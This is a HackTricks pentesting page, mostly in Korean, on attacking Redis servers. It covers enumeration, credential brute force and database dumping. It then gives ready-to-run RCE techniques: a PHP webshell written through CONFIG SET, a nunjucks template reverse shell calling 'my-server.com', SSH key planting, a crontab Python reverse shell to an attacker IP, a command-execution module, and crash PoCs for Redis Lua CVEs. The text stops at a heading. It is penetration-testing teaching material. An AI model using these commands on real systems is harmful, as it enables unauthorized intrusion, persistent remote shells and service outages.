6379 - Pentesting Redis

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

๋‹ค์Œ the docs: Redis๋Š” ์˜คํ”ˆ ์†Œ์Šค(BSD ๋ผ์ด์„ ์Šค) ๊ธฐ๋ฐ˜์˜ ์ธ๋ฉ”๋ชจ๋ฆฌ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ ์ €์žฅ์†Œ๋กœ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, ์บ์‹œ ๋ฐ ๋ฉ”์‹œ์ง€ ๋ธŒ๋กœ์ปค๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค).

๊ธฐ๋ณธ์ ์œผ๋กœ Redis๋Š” ํ‰๋ฌธ ๊ธฐ๋ฐ˜ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€๋งŒ, ssl/tls๋„ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์—ผ๋‘์— ๋‘์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ run Redis with ssl/tls here.

๊ธฐ๋ณธ ํฌํŠธ: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

redis ์ธ์Šคํ„ด์Šค์—์„œ ์ •๋ณด๋ฅผ ์–ป๋Š” ๋ฐ ๋„์›€์ด ๋˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์ž๋™ํ™”๋œ ๋„๊ตฌ:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

์ˆ˜๋™ ์—ด๊ฑฐ

๋ฐฐ๋„ˆ

Redis๋Š” ํ…์ŠคํŠธ ๊ธฐ๋ฐ˜ ํ”„๋กœํ† ์ฝœ์ด๋ผ ์†Œ์ผ“์— ๋ช…๋ น์„ ์ „์†กํ•˜๋ฉด ๋ฐ˜ํ™˜ ๊ฐ’์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ํ˜•ํƒœ๋กœ ๋‚˜์˜จ๋‹ค. ๋˜ํ•œ Redis๋Š” ssl/tls๋กœ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜๋ผ(ํ•˜์ง€๋งŒ ์ด๋Š” ๋งค์šฐ ๋“œ๋ฌผ๋‹ค).

์ผ๋ฐ˜์ ์ธ Redis ์ธ์Šคํ„ด์Šค์—์„œ๋Š” nc๋กœ ์ ‘์†ํ•˜๊ฑฐ๋‚˜ redis-cli๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ๋Š” ์ฒซ ๋ฒˆ์งธ ๋ช…๋ น์–ด๋Š” **info**์ž…๋‹ˆ๋‹ค. ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ์ถœ๋ ฅ์ด ๋ฐ˜ํ™˜๋  ์ˆ˜๋„ ์žˆ์œผ๋ฉฐ Redis ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ ๋˜๋Š” ์ด์™€ ์œ ์‚ฌํ•œ ์ถœ๋ ฅ์ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ˜ํ™˜๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

-NOAUTH Authentication required.

In this last case, this means that ์œ ํšจํ•œ credentials๊ฐ€ ํ•„์š”ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Redis ์ธ์ฆ

๊ธฐ๋ณธ์ ์œผ๋กœ Redis๋Š” credentials ์—†์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ตฌ์„ฑํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ, ๋˜๋Š” username + password๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
redis.conf ํŒŒ์ผ์˜ requirepass ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•˜๊ฑฐ๋‚˜, ์„œ๋น„์Šค๊ฐ€ ์žฌ์‹œ์ž‘๋  ๋•Œ๊นŒ์ง€ ์ผ์‹œ์ ์œผ๋กœ ์—ฐ๊ฒฐํ•˜์—ฌ config set requirepass p@ss$12E45 ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ redis.conf ํŒŒ์ผ์˜ masteruser ํŒŒ๋ผ๋ฏธํ„ฐ์— username์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

๋งŒ์•ฝ ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ์„ค์ •๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉ๋˜๋Š” username์€ โ€œdefaultโ€ ์ž…๋‹ˆ๋‹ค.
๋˜ํ•œ Redis๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ์œผ๋กœ ๊ตฌ์„ฑ๋˜์—ˆ๋Š”์ง€ username+password๋กœ ๊ตฌ์„ฑ๋˜์—ˆ๋Š”์ง€๋ฅผ ์™ธ๋ถ€์—์„œ ํŒ๋ณ„ํ•  ๋ฐฉ๋ฒ•์€ ์—†์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” Redis์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๊ธฐ ์œ„ํ•ด ์œ ํšจํ•œ credentials๋ฅผ ์ฐพ์•„์•ผ ํ•˜๋ฏ€๋กœ brute-force๋ฅผ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์œ ํšจํ•œ credentials๋ฅผ ์ฐพ์€ ๊ฒฝ์šฐ ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•œ ํ›„ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์„ธ์…˜์„ ์ธ์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

AUTH <username> <password>

Valid credentials์— ๋Œ€ํ•œ ์‘๋‹ต์€: +OK

Authenticated enumeration

Redis ์„œ๋ฒ„๊ฐ€ anonymous connections์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ valid credentials์„ ํš๋“ํ•œ ๊ฒฝ์šฐ, ๋‹ค์Œ commands๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค์— ๋Œ€ํ•œ enumeration ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

๋‹ค๋ฅธ Redis ๋ช…๋ น can be found here ๋ฐ here.

์ฐธ๊ณ ๋กœ ์ธ์Šคํ„ด์Šค์˜ Redis ๋ช…๋ น์€ ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋˜๊ฑฐ๋‚˜ redis.conf ํŒŒ์ผ์—์„œ ์ œ๊ฑฐ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ ์ค„์€ FLUSHDB ๋ช…๋ น์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค:

rename-command FLUSHDB ""

Redis ์„œ๋น„์Šค๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ๊ตฌ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

๋˜ํ•œ Redis ๋ช…๋ น์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋ ค๋ฉด ๋ช…๋ น **monitor**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ์ƒ์œ„ 25๊ฐœ์˜ ๊ฐ€์žฅ ๋А๋ฆฐ ์ฟผ๋ฆฌ๋Š” **slowlog get 25**๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋” ๋งŽ์€ Redis ๋ช…๋ น์— ๊ด€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”: https://lzone.de/cheat-sheet/Redis

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋คํ”„

Redis ๋‚ด๋ถ€์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” 0๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜๋Š” ์ˆซ์ž์ž…๋‹ˆ๋‹ค. ๋ช…๋ น์–ด info์˜ ์ถœ๋ ฅ์—์„œ โ€œKeyspaceโ€ ์„น์…˜ ์•ˆ์—์„œ ์–ด๋–ค ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋˜๋Š” ๋‹ค์Œ์œผ๋กœ ๋ชจ๋“  keyspaces (๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค)๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

INFO keyspace

์œ„ ์˜ˆ์ œ์—์„œ๋Š” database 0 and 1์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. Database 0 contains 4 keys and database 1 contains 1. ๊ธฐ๋ณธ์ ์œผ๋กœ Redis๋Š” database 0์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด database 1์„ ๋คํ”„ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

๋งŒ์•ฝ GET <KEY>๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ๋‹ค์Œ ์˜ค๋ฅ˜ -WRONGTYPE Operation against a key holding the wrong kind of value๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ํ•ด๋‹น ํ‚ค๊ฐ€ ๋ฌธ์ž์—ด์ด๋‚˜ ์ •์ˆ˜๊ฐ€ ์•„๋‹ ์ˆ˜ ์žˆ์œผ๋ฉฐ ํ‘œ์‹œํ•˜๋ ค๋ฉด ํŠน์ˆ˜ํ•œ ์—ฐ์‚ฐ์ž๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

ํ‚ค์˜ ํƒ€์ž…์„ ํ™•์ธํ•˜๋ ค๋ฉด TYPE ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ์•„๋ž˜๋Š” list์™€ hash ํ‚ค์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋คํ”„ redis-dump ๋˜๋Š” python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server๋Š” Redis(<=5.0.5)์—์„œ ์ž๋™์œผ๋กœ interactive shell ๋˜๋Š” reverse shell์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

์ •๋ณด ์ถœ์ฒ˜: here. ๋‹น์‹ ์€ ์›น ์‚ฌ์ดํŠธ ํด๋”์˜ ๊ฒฝ๋กœ๋ฅผ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

webshell ์ ‘๊ทผ์— ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ๋ฐฑ์—… ํ›„ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋น„์šฐ๊ณ  ๋‹ค์‹œ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” ๋ณต์›ํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”.

ํ…œํ”Œ๋ฆฟ Webshell

์ด์ „ ์„น์…˜๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, template engine์— ์˜ํ•ด ํ•ด์„๋  ์ผ๋ถ€ html template ํŒŒ์ผ์„ ๋ฎ์–ด์จ์„œ shell์„ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Warning

์ฐธ๊ณ : ์—ฌ๋Ÿฌ ํ…œํ”Œ๋ฆฟ ์—”์ง„์ด ํ…œํ”Œ๋ฆฟ์„ ๋ฉ”๋ชจ๋ฆฌ์— ์บ์‹œํ•˜๋ฏ€๋กœ, ๋ฎ์–ด์จ๋„ ์ƒˆ ํ…œํ”Œ๋ฆฟ์ด ์‹คํ–‰๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๊ฐœ๋ฐœ์ž๊ฐ€ ์ž๋™ ์žฌ๋กœ๋”ฉ์„ ํ™œ์„ฑํ™”ํ•ด ๋‘” ๊ฒƒ์ด๊ฑฐ๋‚˜, ์„œ๋น„์Šค์— DoS๋ฅผ ๊ฐ€ํ•ด(์„œ๋น„์Šค๊ฐ€ ์ž๋™์œผ๋กœ ์žฌ์‹œ์ž‘๋  ๊ฒƒ์„ ์˜ˆ์ƒํ•˜๋ฉด์„œ)์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SSH

Example from here

Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:

  1. ๋กœ์ปฌ PC์—์„œ ssh ๊ณต๊ฐœ/๊ฐœ์ธ ํ‚ค ์Œ ์ƒ์„ฑ: ssh-keygen -t rsa
  2. ๊ณต๊ฐœ ํ‚ค๋ฅผ ํŒŒ์ผ์— ์ž‘์„ฑ: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. ํ•ด๋‹น ํŒŒ์ผ์„ redis์— ์ž„ํฌํŠธ: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. ๊ณต๊ฐœ ํ‚ค๋ฅผ redis ์„œ๋ฒ„์˜ authorized_keys ํŒŒ์ผ๋กœ ์ €์žฅ:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ฐœ์ธ ํ‚ค๋กœ redis ์„œ๋ฒ„์— ssh ์ ‘์†: ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

์ถ”๊ฐ€๋กœ, ์‹œ์Šคํ…œ ์‚ฌ์šฉ์ž๋Š” config set dir /home/USER๋กœ ํ™•์ธํ•˜์—ฌ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ™•์ธ๋˜๋ฉด ์ƒˆ๋กœ์šด authorized_keys๋ฅผ /home/USER/.ssh/authorized_keys์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. redis-rce-ssh๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž ์ด๋ฆ„ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋กœ ์ด๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๊ณ  authorized_keys๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

๋งˆ์ง€๋ง‰ ์˜ˆ์‹œ๋Š” Ubuntu์šฉ์ž…๋‹ˆ๋‹ค. Centos์˜ ๊ฒฝ์šฐ ์œ„ ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

This method can also be used to earn bitcoin ๏ผšyam

Redis ๋ชจ๋“ˆ ๋กœ๋“œ

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand์˜ ์ง€์นจ์„ ๋”ฐ๋ฅด๋ฉด ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก redis module์„ ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ปดํŒŒ์ผ๋œ ๋ชจ๋“ˆ์„ ์—…๋กœ๋“œํ•  ๋ฐฉ๋ฒ•์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  3. ๋Ÿฐํƒ€์ž„์— ์—…๋กœ๋“œ๋œ ๋ชจ๋“ˆ์„ MODULE LOAD /path/to/mymodule.so๋กœ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  4. ์ œ๋Œ€๋กœ ๋กœ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋กœ๋“œ๋œ ๋ชจ๋“ˆ์„ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค: MODULE LIST
  5. ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. ์›ํ•  ๋•Œ ์–ธ์ œ๋“ ์ง€ ๋ชจ๋“ˆ์„ ์–ธ๋กœ๋“œํ•˜์„ธ์š”: MODULE UNLOAD mymodule

LUA ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ

Here์—์„œ Redis๊ฐ€ EVAL ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด Lua ์ฝ”๋“œ๋ฅผ ์ƒŒ๋“œ๋ฐ•์Šค ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งํฌ๋œ ๊ธ€์—์„œ๋Š” dofile ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์ง€๋งŒ, apparently ์ด๊ฒƒ์€ ๋” ์ด์ƒ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์–ด์จŒ๋“  Lua ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์‹œ์Šคํ…œ์—์„œ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ฐ™์€ ๊ธ€์—์„œ ์ผ๋ถ€ DoS๋ฅผ ์•ผ๊ธฐํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜๋“ค๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Some CVEs to escape from LUA:

Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)

์ตœ๊ทผ Redis ๋ฆด๋ฆฌ์Šค์—์„œ๋Š” ์ž„๋ฒ ๋””๋“œ Lua ์—”์ง„์—์„œ ์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ, ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ๋ฐ ํฌ๋กœ์Šค-์œ ์ € ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•˜๋˜ ์—ฌ๋Ÿฌ ๋ฌธ์ œ๋ฅผ ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • ๊ณต๊ฒฉ์ž๊ฐ€ Redis์— ์ธ์ฆํ•  ์ˆ˜ ์žˆ๊ณ  Lua๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ (EVAL/EVALSHA ๋˜๋Š” FUNCTION ์‚ฌ์šฉ ๊ฐ€๋Šฅ)
  • Redis ๋ฒ„์ „์ด 8.2.2, 8.0.4, 7.4.6, 7.2.11 ๋˜๋Š” 6.2.20 ์ด์ „์ธ ๊ฒฝ์šฐ

Tip: Lua ์ƒŒ๋“œ๋ฐ•์Šค ํŠธ๋ฆญ์— ์ต์ˆ™ํ•˜์ง€ ์•Š๋‹ค๋ฉด ์ผ๋ฐ˜์ ์ธ ๊ธฐ๋ฒ•์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”:

Lua Sandbox Escape

ํŒจ์น˜ ์ˆ˜์ค€ ์ปจํ…์ŠคํŠธ:

  • Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • Lua ์Šคํฌ๋ฆฝํŒ…์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ  ์œ„ ๋ฒ„์ „๋“ค์ด ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š์„ ๋•Œ ์˜ํ–ฅ๋ฐ›์Œ

CVE-2025-49844 โ€” GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

  • ์•„์ด๋””์–ด: ํŒŒ์„œ๊ฐ€ ๋ง‰ ์‚ฝ์ž…๋œ TString๋ฅผ ์ฐธ์กฐํ•˜๊ณ  ์žˆ๋Š” ๋™์•ˆ ๊ฐ€๋น„์ง€ ์ปฌ๋ ‰์…˜์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. GC๊ฐ€ ์ด๋ฅผ ํšŒ์ˆ˜ํ•˜๋ฉด ํŒŒ์„œ๋Š” ํ•ด์ œ๋œ ํฌ์ธํ„ฐ(UAF)๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋˜์–ด ์ถฉ๋Œ/DoS ๋ฐ Lua ์ƒŒ๋“œ๋ฐ•์Šค ๋ฐ–์—์„œ์˜ ์ž ์žฌ์  ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ ์‹คํ–‰์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.
  • ํŠธ๋ฆฌ๊ฑฐ ์ „๋žต:
  1. ๊ฑฐ๋Œ€ํ•œ ๋ฌธ์ž์—ด๋กœ ๋ฉ”๋ชจ๋ฆฌ ์••๋ ฅ์„ ์ƒ์„ฑํ•˜์—ฌ GC ํ™œ๋™์„ ์œ ๋„
  2. ํฐ ์†Œ์Šค ์ฒญํฌ๊ฐ€ ์ปดํŒŒ์ผ๋˜๋Š” ๋™์•ˆ ๋ช…์‹œ์ ์œผ๋กœ GC๋ฅผ ์‹คํ–‰
  3. GC๊ฐ€ ํŒŒ์‹ฑ๊ณผ ๋งž๋ฌผ๋ฆด ๋•Œ๊นŒ์ง€ ๋งค์šฐ ํฐ Lua ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ฃจํ”„์—์„œ ์ปดํŒŒ์ผ

Minimal EVAL harness to reproduce crashes

# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

๋…ธํŠธ:

  • GC์™€ luaY_parser๋ฅผ ์ •๋ ฌํ•˜๋ ค๋ฉด ์—ฌ๋Ÿฌ ๋ฒˆ ์‹œ๋„ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํฌ๋ž˜์‹œ๋Š” UAF๊ฐ€ ๋ฐœ์ƒํ–ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • exploitation์—์„œ RCE๋กœ ์ง„ํ–‰ํ•˜๋ ค๋ฉด Redis Lua sandbox๋ฅผ ๋ฒ—์–ด๋‚œ memory grooming๊ณผ native code pivoting์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

CVE-2025-46817 โ€” unpack์˜ ์ •์ˆ˜ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ (lbaselib.c: luaB_unpack)

  • ๊ทผ๋ณธ ์›์ธ: ์นด์šดํŠธ n = e - i + 1๊ฐ€ unsigned ์บ์ŠคํŠธ ์—†์ด ๊ณ„์‚ฐ๋˜์–ด ๊ทน๋‹จ์ ์ธ ์ธ๋ฑ์Šค๊ฐ€ ๋ž˜ํ•‘๋˜์–ด Lua๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ํ›จ์”ฌ ๋งŽ์€ ์š”์†Œ๋ฅผ unpackํ•˜๋ ค ์‹œ๋„ํ•จ โ†’ ์Šคํƒ ์†์ƒ ๋ฐ ๋ฉ”๋ชจ๋ฆฌ ๊ณ ๊ฐˆ.
  • PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • ์„œ๋ฒ„๊ฐ€ ๋งค์šฐ ๋งŽ์€ ์ˆ˜์˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋ ค ์‹œ๋„ํ•˜๋‹ค๊ฐ€ ๊ฒฐ๊ตญ crash ๋˜๋Š” OOM์ด ๋ฐœ์ƒํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•˜์„ธ์š”.

CVE-2025-46818 โ€” Cross-user privilege escalation via basic type metatables

